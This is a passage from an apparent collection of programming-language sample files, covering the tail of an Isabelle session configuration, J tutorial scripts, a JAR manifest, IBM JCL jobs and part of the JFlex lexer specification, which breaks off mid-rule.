 \"Derivation_Trees/Parallel\"\n    Koenig\n    Stream_Processor\n    Misc_Codatatype\n    Misc_Datatype\n    Misc_Primcorec\n    Misc_Primrec\n  theories [condition = ISABELLE_FULL_TEST]\n    Brackin\n    IsaFoR\n    Misc_N2M\n\nsession \"HOL-Word\" (main) in Word = HOL +\n  options [document_graph]\n  theories Word\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Word-Examples\" in \"Word/Examples\" = \"HOL-Word\" +\n  options [document = false]\n  theories WordExamples\n\nsession \"HOL-Statespace\" in Statespace = HOL +\n  theories [skip_proofs = false]\n    StateSpaceEx\n  document_files \"root.tex\"\n\nsession \"HOL-NSA\" in NSA = HOL +\n  description {*\n    Nonstandard analysis.\n  *}\n  options [document_graph]\n  theories Hypercomplex\n  document_files \"root.tex\"\n\nsession \"HOL-NSA-Examples\" in \"NSA/Examples\" = \"HOL-NSA\" +\n  options [document = false]\n  theories NSPrimes\n\nsession \"HOL-Mirabelle\" in Mirabelle = HOL +\n  options [document = false]\n  theories Mirabelle_Test\n\nsession \"HOL-Mirabelle-ex\" in \"Mirabelle/ex\" = \"HOL-Mirabelle\" +\n  options [document = false, timeout = 60]\n  theories Ex\n\nsession \"HOL-Word-SMT_Examples\" in SMT_Examples = \"HOL-Word\" +\n  options [document = false, quick_and_dirty]\n  theories\n    Boogie\n    SMT_Examples\n    SMT_Word_Examples\n  theories [condition = ISABELLE_FULL_TEST]\n    SMT_Tests\n  files\n    \"Boogie_Dijkstra.certs\"\n    \"Boogie_Max.certs\"\n    \"SMT_Examples.certs\"\n    \"SMT_Word_Examples.certs\"\n    \"VCC_Max.certs\"\n\nsession \"HOL-SPARK\" (main) in \"SPARK\" = \"HOL-Word\" +\n  options [document = false]\n  theories SPARK\n\nsession \"HOL-SPARK-Examples\" in \"SPARK/Examples\" = \"HOL-SPARK\" +\n  options [document = false]\n  theories\n    \"Gcd/Greatest_Common_Divisor\"\n\n    \"Liseq/Longest_Increasing_Subsequence\"\n\n    \"RIPEMD-160/F\"\n    \"RIPEMD-160/Hash\"\n    \"RIPEMD-160/K_L\"\n    \"RIPEMD-160/K_R\"\n    \"RIPEMD-160/R_L\"\n    \"RIPEMD-160/Round\"\n    \"RIPEMD-160/R_R\"\n    \"RIPEMD-160/S_L\"\n    \"RIPEMD-160/S_R\"\n\n    \"Sqrt/Sqrt\"\n  files\n    \"Gcd/greatest_common_divisor/g_c_d.fdl\"\n    \"Gcd/greatest_common_divisor/g_c_d.rls\"\n    \"Gcd/greatest_common_divisor/g_c_d.siv\"\n    \"Liseq/liseq/liseq_length.fdl\"\n    \"Liseq/liseq/liseq_length.rls\"\n    \"Liseq/liseq/liseq_length.siv\"\n    \"RIPEMD-160/rmd/f.fdl\"\n    \"RIPEMD-160/rmd/f.rls\"\n    \"RIPEMD-160/rmd/f.siv\"\n    \"RIPEMD-160/rmd/hash.fdl\"\n    \"RIPEMD-160/rmd/hash.rls\"\n    \"RIPEMD-160/rmd/hash.siv\"\n    \"RIPEMD-160/rmd/k_l.fdl\"\n    \"RIPEMD-160/rmd/k_l.rls\"\n    \"RIPEMD-160/rmd/k_l.siv\"\n    \"RIPEMD-160/rmd/k_r.fdl\"\n    \"RIPEMD-160/rmd/k_r.rls\"\n    \"RIPEMD-160/rmd/k_r.siv\"\n    \"RIPEMD-160/rmd/r_l.fdl\"\n    \"RIPEMD-160/rmd/r_l.rls\"\n    \"RIPEMD-160/rmd/r_l.siv\"\n    \"RIPEMD-160/rmd/round.fdl\"\n    \"RIPEMD-160/rmd/round.rls\"\n    \"RIPEMD-160/rmd/round.siv\"\n    \"RIPEMD-160/rmd/r_r.fdl\"\n    \"RIPEMD-160/rmd/r_r.rls\"\n    \"RIPEMD-160/rmd/r_r.siv\"\n    \"RIPEMD-160/rmd/s_l.fdl\"\n    \"RIPEMD-160/rmd/s_l.rls\"\n    \"RIPEMD-160/rmd/s_l.siv\"\n    \"RIPEMD-160/rmd/s_r.fdl\"\n    \"RIPEMD-160/rmd/s_r.rls\"\n    \"RIPEMD-160/rmd/s_r.siv\"\n\nsession \"HOL-SPARK-Manual\" in \"SPARK/Manual\" = \"HOL-SPARK\" +\n  options [show_question_marks = false]\n  theories\n    Example_Verification\n    VC_Principles\n    Reference\n    Complex_Types\n  files\n    \"complex_types_app/initialize.fdl\"\n    \"complex_types_app/initialize.rls\"\n    \"complex_types_app/initialize.siv\"\n    \"loop_invariant/proc1.fdl\"\n    \"loop_invariant/proc1.rls\"\n    \"loop_invariant/proc1.siv\"\n    \"loop_invariant/proc2.fdl\"\n    \"loop_invariant/proc2.rls\"\n    \"loop_invariant/proc2.siv\"\n    \"simple_greatest_common_divisor/g_c_d.fdl\"\n    \"simple_greatest_common_divisor/g_c_d.rls\"\n    \"simple_greatest_common_divisor/g_c_d.siv\"\n  document_files\n    \"complex_types.ads\"\n    \"complex_types_app.adb\"\n    \"complex_types_app.ads\"\n    \"Gcd.adb\"\n    \"Gcd.ads\"\n    \"intro.tex\"\n    \"loop_invariant.adb\"\n    \"loop_invariant.ads\"\n    \"root.bib\"\n    \"root.tex\"\n    \"Simple_Gcd.adb\"\n    \"Simple_Gcd.ads\"\n\nsession \"HOL-Mutabelle\" in Mutabelle = HOL +\n  options [document = false]\n  theories MutabelleExtra\n\nsession \"HOL-Quickcheck_Examples\" in Quickcheck_Examples = HOL +\n  options [document = false]\n  theories\n    Quickcheck_Examples\n    Quickcheck_Lattice_Examples\n    Completeness\n    Quickcheck_Interfaces\n  theories [condition = ISABELLE_GHC]\n    Hotel_Example\n    Quickcheck_Narrowing_Examples\n\nsession \"HOL-Quickcheck_Benchmark\" in Quickcheck_Benchmark = HOL +\n  theories [condition = ISABELLE_FULL_TEST, quick_and_dirty]\n    Find_Unused_Assms_Examples\n    Needham_Schroeder_No_Attacker_Example\n    Needham_Schroeder_Guided_Attacker_Example\n    Needham_Schroeder_Unguided_Attacker_Example\n\nsession \"HOL-Quotient_Examples\" in Quotient_Examples = HOL +\n  description {*\n    Author:     Cezary Kaliszyk and Christian Urban\n  *}\n  options [document = false]\n  theories\n    DList\n    FSet\n    Quotient_Int\n    Quotient_Message\n    Lift_FSet\n    Lift_Set\n    Lift_Fun\n    Quotient_Rat\n    Lift_DList\n    Int_Pow\n\nsession \"HOL-Predicate_Compile_Examples\" in Predicate_Compile_Examples = HOL +\n  options [document = false]\n  theories\n    Examples\n    Predicate_Compile_Tests\n    (* FIXME\n    Predicate_Compile_Quickcheck_Examples  -- should be added again soon (since 21-Oct-2010) *)\n    Specialisation_Examples\n    IMP_1\n    IMP_2\n    (* FIXME since 21-Jul-2011\n    Hotel_Example_Small_Generator\n    IMP_3\n    IMP_4 *)\n  theories [condition = \"ISABELLE_SWIPL\"]\n    Code_Prolog_Examples\n    Context_Free_Grammar_Example\n    Hotel_Example_Prolog\n    Lambda_Example\n    List_Examples\n  theories [condition = \"ISABELLE_SWIPL\", quick_and_dirty]\n    Reg_Exp_Example\n\nsession HOLCF (main) in HOLCF = HOL +\n  description {*\n    Author:     Franz Regensburger\n    Author:     Brian Huffman\n\n    HOLCF -- a semantic extension of HOL by the LCF logic.\n  *}\n  options [document_graph]\n  theories [document = false]\n    \"~~/src/HOL/Library/Nat_Bijection\"\n    \"~~/src/HOL/Library/Countable\"\n  theories\n    Plain_HOLCF\n    Fixrec\n    HOLCF\n  document_files \"root.tex\"\n\nsession \"HOLCF-Tutorial\" in \"HOLCF/Tutorial\" = HOLCF +\n  theories\n    Domain_ex\n    Fixrec_ex\n    New_Domain\n  document_files \"root.tex\"\n\nsession \"HOLCF-Library\" in \"HOLCF/Library\" = HOLCF +\n  options [document = false]\n  theories HOLCF_Library\n\nsession \"HOLCF-IMP\" in \"HOLCF/IMP\" = HOLCF +\n  description {*\n    IMP -- A WHILE-language and its Semantics.\n\n    This is the HOLCF-based denotational semantics of a simple WHILE-language.\n  *}\n  options [document = false]\n  theories HoareEx\n  document_files \"root.tex\"\n\nsession \"HOLCF-ex\" in \"HOLCF/ex\" = HOLCF +\n  description {*\n    Miscellaneous examples for HOLCF.\n  *}\n  options [document = false]\n  theories\n    Dnat\n    Dagstuhl\n    Focus_ex\n    Fix2\n    Hoare\n    Concurrency_Monad\n    Loop\n    Powerdomain_ex\n    Domain_Proofs\n    Letrec\n    Pattern_Match\n\nsession \"HOLCF-FOCUS\" in \"HOLCF/FOCUS\" = HOLCF +\n  description {*\n    FOCUS: a theory of stream-processing functions Isabelle/HOLCF.\n\n    For introductions to FOCUS, see\n\n    \"The Design of Distributed Systems - An Introduction to FOCUS\"\n    http://www4.in.tum.de/publ/html.php?e=2\n\n    \"Specification and Refinement of a Buffer of Length One\"\n    http://www4.in.tum.de/publ/html.php?e=15\n\n    \"Specification and Development of Interactive Systems: Focus on Streams,\n    Interfaces, and Refinement\" http://www4.in.tum.de/publ/html.php?e=321\n  *}\n  options [document = false]\n  theories\n    Fstreams\n    FOCUS\n    Buffer_adm\n\nsession IOA in \"HOLCF/IOA\" = HOLCF +\n  description {*\n    Author:     Olaf Mueller\n    Copyright   1997 TU München\n\n    A formalization of I/O automata in HOLCF.\n\n    The distribution contains simulation relations, temporal logic, and an\n    abstraction theory. Everything is based upon a domain-theoretic model of\n    finite and infinite sequences.\n  *}\n  options [document = false]\n  theories \"meta_theory/Abstraction\"\n\nsession \"IOA-ABP\" in \"HOLCF/IOA/ABP\" = IOA +\n  description {*\n    Author:     Olaf Mueller\n\n    The Alternating Bit Protocol performed in I/O-Automata.\n  *}\n  options [document = false]\n  theories Correctness\n\nsession \"IOA-NTP\" in \"HOLCF/IOA/NTP\" = IOA +\n  description {*\n    Author:     Tobias Nipkow & Konrad Slind\n\n    A network transmission protocol, performed in the\n    I/O automata formalization by Olaf Mueller.\n  *}\n  options [document = false]\n  theories Correctness\n\nsession \"IOA-Storage\" in \"HOLCF/IOA/Storage\" = IOA +\n  description {*\n    Author:     Olaf Mueller\n\n    Memory storage case study.\n  *}\n  options [document = false]\n  theories Correctness\n\nsession \"IOA-ex\" in \"HOLCF/IOA/ex\" = IOA +\n  description {*\n    Author:     Olaf Mueller\n  *}\n  options [document = false]\n  theories\n    TrivEx\n    TrivEx2\n\nsession \"HOL-Record_Benchmark\" in Record_Benchmark = HOL +\n  description {*\n    Some benchmark on large record.\n  *}\n  options [document = false]\n  theories [condition = ISABELLE_FULL_TEST]\n    Record_Benchmark\n\n"
  },
  {
    "path": "samples/J/hashbang",
    "content": "#!/bin/jconsole\necho 'Hello, GitHub!'\nexit ''\n"
  },
  {
    "path": "samples/J/stwij.ijs",
    "content": "NB. From \"Continuing to write in J\".\nNB. See http://www.jsoftware.com/help/jforc/continuing_to_write_in_j.htm\n\nempno=: 316 317 319 320\npayrate=: 60 42 44 54\nbillrate=: 120 90 90 108\nclientlist=: 10011 10012 10025\nemp_client=: 10012 10025 10012 10025\nhoursworked=: 4 31 $ 8 0 3 10 9 8 8 9 4 0 8 7 10 10 12 9 0 6 8 9 9 9 0 0 10 11 9 7 10 2 0 8 0 0 9 9 8 9 10 0 0 8 8 10 7 10 0 0 7 8 9 8 9 0 4 9 8 9 8 9 0 0 5 0 0 8 9 9 9 9 0 0 8 7 0 0 9 0 2 10 10 9 11 8 0 0 8 9 10 8 9 0 0 9 0 0 9 10 8 6 6 8 0 9 8 10 6 9 7 0 6 8 8 8 9 0 5 8 9 8 8 12 0 0\n\nNB. Finds the number of hours each employee worked in the given month.\nemphours=: 3 : '+/\"1 hoursworked'\n\nNB. Determines the wages earned by each employee in the given month.\nempearnings=: 3 : 'payrate * +/\"1 hoursworked'\n\nNB. Determines the profit brought in by each employee.\nempprofit=: 3 : 0\n(billrate - payrate) * +/\"1 hoursworked\n)\n\nNB. Returns the amount to bill a given client.\nbillclient=: 3 : 0\nmask=. emp_client = y\n+/ (mask # billrate) * +/\"1 mask # hoursworked\n)\n\nNB. Finds for each day of the month the employee who billed the most hours.\ndailydrudge=: 3 : 0\n((|: hoursworked) i.\"1 0 >./ hoursworked) { empno\n)\n\nNB. Returns the employees, in descending order of the profit brought in by each.\nproducers=: 3 : 'empno \\: empprofit 0'\n\nNB. Returns the clients, in descending order of the profit generated by each.\ncustbyprofit=: 3 : 0\nclientlist \\: +/ (clientlist =\"1 0 emp_client) * empprofit 0\n)\n\nNB. Calculates withholding tax on each employee's earnings.\nrenderuntocaesar=: 3 : 0\nbktmin=. 0 6000 10000 20000     NB. Four brackets, 0..6000..10000..20000.._\nbktrate=. 0.05 0.10 0.20 0.30\nbktearns=. 0 >. ((1 |.!._ bktmin) <.\"1 0 empearnings'') -\"1 bktmin\n+/\"1 bktrate *\"1 bktearns\n)\n\nNB. Main\n\necho 'Problem 1'\necho emphours''\n\necho 'Problem 2'\necho empearnings''\n\necho 'Problem 3'\necho empprofit''\n\necho 'Problem 4'\necho billclient 10025\n\necho 'Problem 5'\necho dailydrudge''\n\necho 'Problem 6'\necho producers''\n\necho 'Problem 7'\necho custbyprofit''\n\necho 'Problem 8'\necho 0j2 \": renderuntocaesar''\n"
  },
  {
    "path": "samples/JAR Manifest/filenames/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\n\nName: CheckCerts.class\nDigest-Algorithms: SHA\nSHA-Digest: xLygljhRro6990piIVEilVI8szQ=\n\nName: ContentInfoTest.class\nDigest-Algorithms: SHA\nSHA-Digest: TSVdEMQW2gdFi6qeba+UixdHSdo=\n\nName: JarVerify.class\nDigest-Algorithms: SHA\nSHA-Digest: Wg+PiDzunNGH4KrWAp00/okp39s=\n\nName: JarVerify2.class\nDigest-Algorithms: SHA\nSHA-Digest: 5uYBQxwGWgYmNBwhnWRbymeXmWM=\n\nName: PKCS7Read.class\nDigest-Algorithms: SHA\nSHA-Digest: JPIxttHBfRpQaFyiQJ2Wfkvj/ls=\n\nName: PKCS7Test.class\nDigest-Algorithms: SHA\nSHA-Digest: R64SXXgZrOvGiO/eMsfG/T1Vn30=\n\nName: PKCS7Test10.class\nDigest-Algorithms: SHA\nSHA-Digest: 2R0yxuxRHTPqdAzJJcrvqkpbQgo=\n\nName: PKCS7Test11.class\nDigest-Algorithms: SHA\nSHA-Digest: /0HcwnpQi0hwJsJtvt5peWFGvtc=\n\nName: PKCS7Test12.class\nDigest-Algorithms: SHA\nSHA-Digest: s5CcqimfRqR9CW25tFBY0JK3RVU=\n\nName: PKCS7Test2.class\nDigest-Algorithms: SHA\nSHA-Digest: 71VkFEMUle5sjXNFbSW31F1ZJ58=\n\nName: PKCS7Test3.class\nDigest-Algorithms: SHA\nSHA-Digest: mU/D5C6SgPRmwoLQzwF5VnN3aqM=\n\nName: PKCS7Test4.class\nDigest-Algorithms: SHA\nSHA-Digest: ss9NFvxF8emaEjdKdvtzWXfs0/E=\n\nName: PKCS7Test5.class\nDigest-Algorithms: SHA\nSHA-Digest: DHvQ20UAXoYgfCPAOeCOrglsJwU=\n\nName: PKCS7Test6.class\nDigest-Algorithms: SHA\nSHA-Digest: aiCb8chroH7XDaNfAz6wr57lXsA=\n\nName: PKCS7Test7.class\nDigest-Algorithms: SHA\nSHA-Digest: UoieXLC68alFgfD/Q1NW9/r2kaY=\n\nName: PKCS7Test8.class\nDigest-Algorithms: SHA\nSHA-Digest: eMW7mq5b/KVB1M5L76wcV1+uFQs=\n\nName: PKCS7Test9.class\nDigest-Algorithms: SHA\nSHA-Digest: EEWCZG1creWjqVZVIEgr0on3y6A=\n\nName: SignerInfoTest.class\nDigest-Algorithms: SHA\nSHA-Digest: l6SNfpnFipGg8gy4XqY3HhA0RrY=\n\nName: SignerInfoTest2.class\nDigest-Algorithms: SHA\nSHA-Digest: 5jbzlkZqXKNmmmE+pcjQka8D6WE=\n\nName: SimpleSigner.class\nDigest-Algorithms: SHA\nSHA-Digest: l9ODQHY4wxhIvLw4/B0qe9NjwxQ=\n"
  },
  {
    "path": "samples/JCL/IEBCOPY.jcl",
    "content": "//IEBCOPY JOB (ACCT),'IEBCOPY',CLASS=A,MSGCLASS=X\n//*\n//*-----------------------------------------------------------*\n//* COPY A MEMBER FROM ONE DATA SET TO ANOTHER.\n//*-----------------------------------------------------------*\n//IEBCOPY  EXEC PGM=IEBCOPY\n//SYSPRINT DD  SYSOUT=*\n//SYSUT1   DD  DISP=SHR,DSN=IBMUSER.TEST\n//SYSUT2   DD  DISP=SHR,DSN=IBMUSER.TEST2\n//SYSIN    DD  *\n C I=((SYSUT1,R)),O=SYSUT2\n S M=((TESTMEM,TEST2))\n//*\n"
  },
  {
    "path": "samples/JCL/IEFBR14.jcl",
    "content": "//IBMUSER JOB (),\n//             IEFBR14,\n//             CLASS=A,\n//             MSGCLASS=X,\n//             REGION=5M,\n//             NOTIFY=IBMUSER\n//DUMP    EXEC PGM=IEFBR14\n//DUMPOUT   DD DSN=SYS1.TEST.SMF,DISP=(NEW,CATLG),\n//             UNIT=3390,VOL=SER=USR001,SPACE=(CYL,(10,2),RLSE)"
  },
  {
    "path": "samples/JCL/IKJEFT01.jcl",
    "content": "//SAMPLE1 JOB (*),\"TESTING JOB\",CLASS=A,PRTY=10,NOTIFY=&SYSUID,\n//   MSGCLASS=X,MSGLEVEL=(1,1),TYPRUN=SCAN,REGION=0M\n//* LIST A USER\n//IKJEFT  EXEC PGM=IKJEFT01\n//SYSTSPRT DD SYSOUT=*\n//SYSTSIN  DD *\n LU IBMUSER\n//"
  },
  {
    "path": "samples/JFlex/LexScan.flex",
    "content": "/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n * JFlex 1.7.0-SNAPSHOT                                                    *\n * Copyright (C) 1998-2015  Gerwin Klein <lsf@jflex.de>                    *\n * All rights reserved.                                                    *\n *                                                                         *\n * License: BSD                                                            *\n *                                                                         *\n * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */\n\npackage jflex;\n\nimport java_cup.runtime.Symbol;\nimport java.io.*;\nimport java.util.Stack;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.HashMap;\nimport jflex.unicode.UnicodeProperties;\n\n%%\n\n%final\n%public\n%class LexScan\n%implements sym, java_cup.runtime.Scanner\n%function next_token\n\n%type Symbol\n%unicode\n\n%column\n%line\n\n%eofclose\n\n%state COMMENT, STATELIST, MACROS, REGEXPSTART\n%state REGEXP, JAVA_CODE, STATES, STRING_CONTENT\n%state CHARCLASS, COPY, REPEATEXP, EATWSPNL\n%state CTOR_ARG, REGEXP_CODEPOINT_SEQUENCE\n%state STRING_CODEPOINT_SEQUENCE, CHARCLASS_CODEPOINT\n\n%inputstreamctor false\n\n%cupdebug\n\n%{\n  int balance = 0;\n  int commentbalance = 0;\n  int action_line = 0;\n  int bufferSize = 16384;\n\n  File file;\n  Stack<File> files = new Stack<File>();\n\n  StringBuilder userCode   = new StringBuilder();\n\n  String classCode;\n  String initCode;\n  String initThrow;\n  String eofCode;\n  String eofThrow;\n  String lexThrow;\n  String eofVal;\n  String scanErrorException;\n  String cupSymbol = \"sym\";\n\n  StringBuilder actionText = new StringBuilder();\n  StringBuilder string     = new StringBuilder();\n\n  private UnicodeProperties unicodeProperties;\n\n  boolean charCount;\n  boolean lineCount;\n  boolean columnCount;\n  boolean cupCompatible;\n  boolean cup2Compatible;\n  boolean cupDebug;\n  boolean isInteger;\n  boolean isIntWrap;\n  boolean isYYEOF;\n  boolean notUnix;\n  boolean isPublic;\n  boolean isFinal;\n  boolean isAbstract;\n  boolean bolUsed;\n  boolean standalone;\n  boolean debugOption;\n  boolean caseless;\n  boolean inclusive_states;\n  boolean eofclose;\n  boolean isASCII;\n  // TODO: In the version of JFlex after 1.6, the InputStream ctor \n  // TODO: will never be emitted, and this option will cease to exist.\n  boolean emitInputStreamCtor = Options.emitInputStreamCtor;\n\n  String isImplementing;\n  String isExtending;\n  String className = \"Yylex\";\n  String functionName;\n  String tokenType;\n  String visibility = \"public\";\n    \n  List<String> ctorArgs = new ArrayList<String>();\n  List<String> ctorTypes = new ArrayList<String>();\n    \n  LexicalStates states = new LexicalStates();\n\n  List<Action> actions = new ArrayList<Action>();\n\n  private int nextState;\n\n  boolean macroDefinition;\n\n  Timer t = new Timer();\n\n  // CharClasses.init() is delayed until UnicodeProperties.init() has been called,\n  // since the max char code won't be known until then.\n  private CharClasses charClasses = new CharClasses();\n  \n  public CharClasses getCharClasses() {\n    return charClasses;\n  }\n\n  public int currentLine() {\n    return yyline;\n  }\n\n  public void setFile(File file) {\n    this.file = file;\n  }\n\n  private Symbol symbol(int type, Object value) {\n    return new Symbol(type, yyline, yycolumn, value);\n  }\n\n  private Symbol symbol(int type) {\n    return new Symbol(type, yyline, yycolumn);\n  }\n\n  // updates line and column count to the beginning of the first\n  // non whitespace character in yytext, but leaves yyline+yycolumn\n  // untouched\n  private Symbol symbol_countUpdate(int type, Object value) {\n     int lc = yyline;\n     int cc = yycolumn;\n     String text = yytext();\n\n     for (int i=0; i < text.length(); i++) {\n      char c = text.charAt(i);\n\n      if (c != '\\n' && c != '\\r' && c != ' ' && c != '\\t' )\n        return new Symbol(type, lc, cc, value);\n\n      if (c == '\\n') {\n        lc++;\n        cc = 0;\n      }\n      else\n        cc++;\n    }\n\n    return new Symbol(type, yyline, yycolumn, value);\n  }\n\n  private String makeMacroIdent() {\n    String matched = yytext().trim();\n    return matched.substring(1, matched.length()-1).trim();\n  }\n\n  public static String conc(Object a, Object b) {\n    if (a == null && b == null) return null;\n    if (a == null) return b.toString();\n    if (b == null) return a.toString();\n\n    return a.toString()+b.toString();\n  }\n\n  public static String concExc(Object a, Object b) {\n    if (a == null && b == null) return null;\n    if (a == null) return b.toString();\n    if (b == null) return a.toString();\n\n    return a.toString()+\", \"+b.toString();\n  }\n  \n  public UnicodeProperties getUnicodeProperties() {\n    return unicodeProperties;\n  }\n  \n  private void populateDefaultVersionUnicodeProperties() {\n    try {\n      unicodeProperties = new UnicodeProperties();\n    } catch (UnicodeProperties.UnsupportedUnicodeVersionException e) {\n      throw new ScannerException\n        (file, ErrorMessages.UNSUPPORTED_UNICODE_VERSION, yyline);\n    }\n    charClasses.init\n      (Options.jlex ? 127 : unicodeProperties.getMaximumCodePoint(), this);\n  }\n  \n  private void includeFile(String filePath) {\n    File f = new File(file.getParentFile(), filePath);\n    if ( !f.canRead() )\n      throw new ScannerException(file,ErrorMessages.NOT_READABLE, yyline);\n    // check for cycle\n    if (files.search(f) > 0)\n      throw new ScannerException(file,ErrorMessages.FILE_CYCLE, yyline);\n    try {\n      yypushStream( new FileReader(f) );\n      files.push(file);\n      file = f;\n      Out.println(\"Including \\\"\"+file+\"\\\"\");\n    }\n    catch (FileNotFoundException e) {\n      throw new ScannerException(file,ErrorMessages.NOT_READABLE, yyline);\n    }\n  }\n%}\n\n%init{\n  states.insert(\"YYINITIAL\", true);\n%init}\n\n\nDigit      = [0-9]\nHexDigit   = [0-9a-fA-F]\nOctDigit   = [0-7]\n\nNumber     = {Digit}+\nHexNumber  = \\\\ x {HexDigit} {2}\nOctNumber  = \\\\ [0-3]? {OctDigit} {1, 2}\n\n// Unicode4 can encode chars only in the BMP with the 16 bits provided by its\n// 4 hex digits.\nUnicode4  = \\\\ u {HexDigit} {4}\n\n// Unicode6 can encode all Unicode chars, both in the BMP and in the\n// supplementary planes -- only 21 bits are required as of Unicode 5.0,\n// but its six hex digits provide 24 bits.\nUnicode6  = \\\\ U {HexDigit} {6}\n\n// see http://www.unicode.org/unicode/reports/tr18/\nWSP        = [ \\t\\b]\nWSPNL      = [\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085\\t\\b\\ ]\nNWSPNL     = [^\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085\\t\\b\\ ]\nNL         = [\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085] | \\u000D\\u000A\nNNL        = [^\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085]\n\nIdent      = {IdentStart} {IdentPart}*\nQualIdent  = {Ident} ( {WSP}* \".\" {WSP}* {Ident} )*\nQUIL       = {QualIdent} ( {WSP}* \",\" {WSP}* {QualIdent} )*\nArray      = \"[\" {WSP}* \"]\"\nParamPart  = {IdentStart}|{IdentPart}|\"<\"|\">\"|\",\"|{WSP}|\"&\"|\"?\"|\".\"\nGenParam   = \"<\" {ParamPart}+ \">\"\nClassT     = {Ident} ({WSP}* {GenParam})?\nQClassT    = {QualIdent} ({WSP}* {GenParam})?\nArrType    = ({GenParam} {WSP}*)? {QClassT} ({WSP}* {Array})*\n\nIdentStart = [:jletter:]\nIdentPart  = [:jletterdigit:]\n\nJFlexCommentChar = [^*/]|\"/\"+[^*/]|\"*\"+[^*/]\nJFlexComment = {JFlexCommentChar}+\n\n/* Java comments */\nJavaComment = {TraditionalComment}|{EndOfLineComment}\nTraditionalComment = \"/*\"{CommentContent}\\*+\"/\"\nEndOfLineComment = \"//\".*{NL}\n\nCommentContent = ([^*]|\\*+[^*/])*\n\nStringCharacter = [^\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085\\\"\\\\]\n\nCharLiteral = \\'([^\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085\\'\\\\]|{EscapeSequence})\\'\nStringLiteral = \\\"({StringCharacter}|{EscapeSequence})*\\\"\n\nEscapeSequence = \\\\[^\\u2028\\u2029\\u000A\\u000B\\u000C\\u000D\\u0085]|\\\\+u{HexDigit}{4}|\\\\[0-3]?{OctDigit}{1,2}\n\n/* \\\\(b|t|n|f|r|\\\"|\\'|\\\\|[0-3]?{OctDigit}{1,2}|u{HexDigit}{4}) */\n\nJavaRest = [^\\{\\}\\\"\\'/]|\"/\"[^*/]\nJavaCode = ({JavaRest}|{StringLiteral}|{CharLiteral}|{JavaComment})+\n\nDottedVersion =  [1-9][0-9]*(\\.[0-9]+){0,2}\n\n%%\n\n<YYINITIAL> {\n  \"%%\".*{NL}?              {\n                             t.start();\n                             yybegin(MACROS);\n                             macroDefinition = true;\n                             return symbol(USERCODE,userCode);\n                           }\n  .*{NL} | .+              { userCode.append(yytext()); }\n  <<EOF>>                  { return symbol(EOF); }\n}\n\n<MACROS>   (\"%{\"|\"%init{\"|\"%initthrow{\"|\"%eof{\"|\"%eofthrow{\"|\"%yylexthrow{\"|\"%eofval{\").*{NL}\n                                     { string.setLength(0); yybegin(COPY); }\n<COPY> {\n  \"%}\".*{NL}                    { classCode = conc(classCode,string);  yybegin(MACROS);  }\n  \"%init}\".*{NL}                { initCode = conc(initCode,string);    yybegin(MACROS);  }\n  \"%initthrow}\".*{NL}           { initThrow = concExc(initThrow,string);  yybegin(MACROS); }\n  \"%eof}\".*{NL}                 { eofCode = conc(eofCode,string); yybegin(MACROS); }\n  \"%eofthrow}\".*{NL}            { eofThrow = concExc(eofThrow,string); yybegin(MACROS); }\n  \"%yylexthrow}\".*{NL}          { lexThrow = concExc(lexThrow,string); yybegin(MACROS); }\n  \"%eofval}\".*{NL}              { eofVal = string.toString(); yybegin(MACROS); }\n\n  .*{NL}                        { string.append(yytext()); }\n\n  <<EOF>>                       { throw new ScannerException(file,ErrorMessages.EOF_IN_MACROS); }\n}\n\n\n<MACROS> ^\"%s\" (\"tate\" \"s\"?)? {WSP}+   { inclusive_states = true; yybegin(STATELIST); }\n<MACROS> ^\"%x\" (\"state\" \"s\"?)? {WSP}+  { inclusive_states = false; yybegin(STATELIST); }\n<STATELIST> {\n  {Ident}                             { states.insert(yytext(),inclusive_states); }\n  ([\\ \\t]*\",\"[\\ \\t]*)|([\\ \\t]+)       { }\n  {NL}                                { yybegin(MACROS);  }\n  <<EOF>>                       { throw new ScannerException(file,ErrorMessages.EOF_IN_MACROS); }\n}\n\n<MACROS> {\n  \"%char\"                     { charCount = true;  }\n  \"%line\"                     { lineCount = true;  }\n  \"%column\"                   { columnCount = true; }\n  \"%byaccj\"                   { isInteger = true;\n                                if (eofVal == null)\n                                  eofVal = \"return 0;\";\n                                eofclose = true;\n                              }\n  \"%cup2\"                     { cup2Compatible = true;\n                                isImplementing = concExc(isImplementing, \"Scanner\");\n                                lineCount = true;\n                                columnCount = true;\n                                if (functionName == null)\n                                  functionName = \"readNextTerminal\";\n                                if (tokenType == null)\n                                  tokenType = \"ScannerToken<? extends Object>\";\n                                if (eofVal == null)\n                                  eofVal = \"return token(SpecialTerminals.EndOfInputStream);\";\n                                if (!Options.jlex) eofclose = true;\n                                return symbol(UNICODE); // %unicode\n                              }\n  \"%cup\"                      { cupCompatible = true;\n                                isImplementing = concExc(isImplementing, \"java_cup.runtime.Scanner\");\n                                if (functionName == null)\n                                  functionName = \"next_token\";\n                                if (tokenType == null)\n                                  tokenType = \"java_cup.runtime.Symbol\";\n                                if (eofVal == null)\n                                  eofVal = \"return new java_cup.runtime.Symbol(\"+cupSymbol+\".EOF);\";\n                                if (!Options.jlex) eofclose = true;\n                              }\n  \"%cupsym\"{WSP}+{QualIdent} {WSP}*  { cupSymbol = yytext().substring(8).trim();\n                                if (cupCompatible) Out.warning(ErrorMessages.CUPSYM_AFTER_CUP, yyline); }\n  \"%cupsym\"{WSP}+{NNL}*       { throw new ScannerException(file,ErrorMessages.QUIL_CUPSYM, yyline); }\n  \"%cupdebug\"                 { cupDebug = true; }\n  \"%eofclose\"({WSP}+\"true\")?  { eofclose = true; }\n  \"%eofclose\"({WSP}+\"false\")  { eofclose = false; }\n  \"%class\"{WSP}+{ClassT} {WSP}*     { className = yytext().substring(7).trim();  }\n  \"%ctorarg\"{WSP}+{ArrType}{WSP}+   { yybegin(CTOR_ARG); ctorTypes.add(yytext().substring(8).trim()); }\n  \"%function\"{WSP}+{Ident} {WSP}*   { functionName = yytext().substring(10).trim(); }\n  \"%type\"{WSP}+{ArrType} {WSP}*     { tokenType = 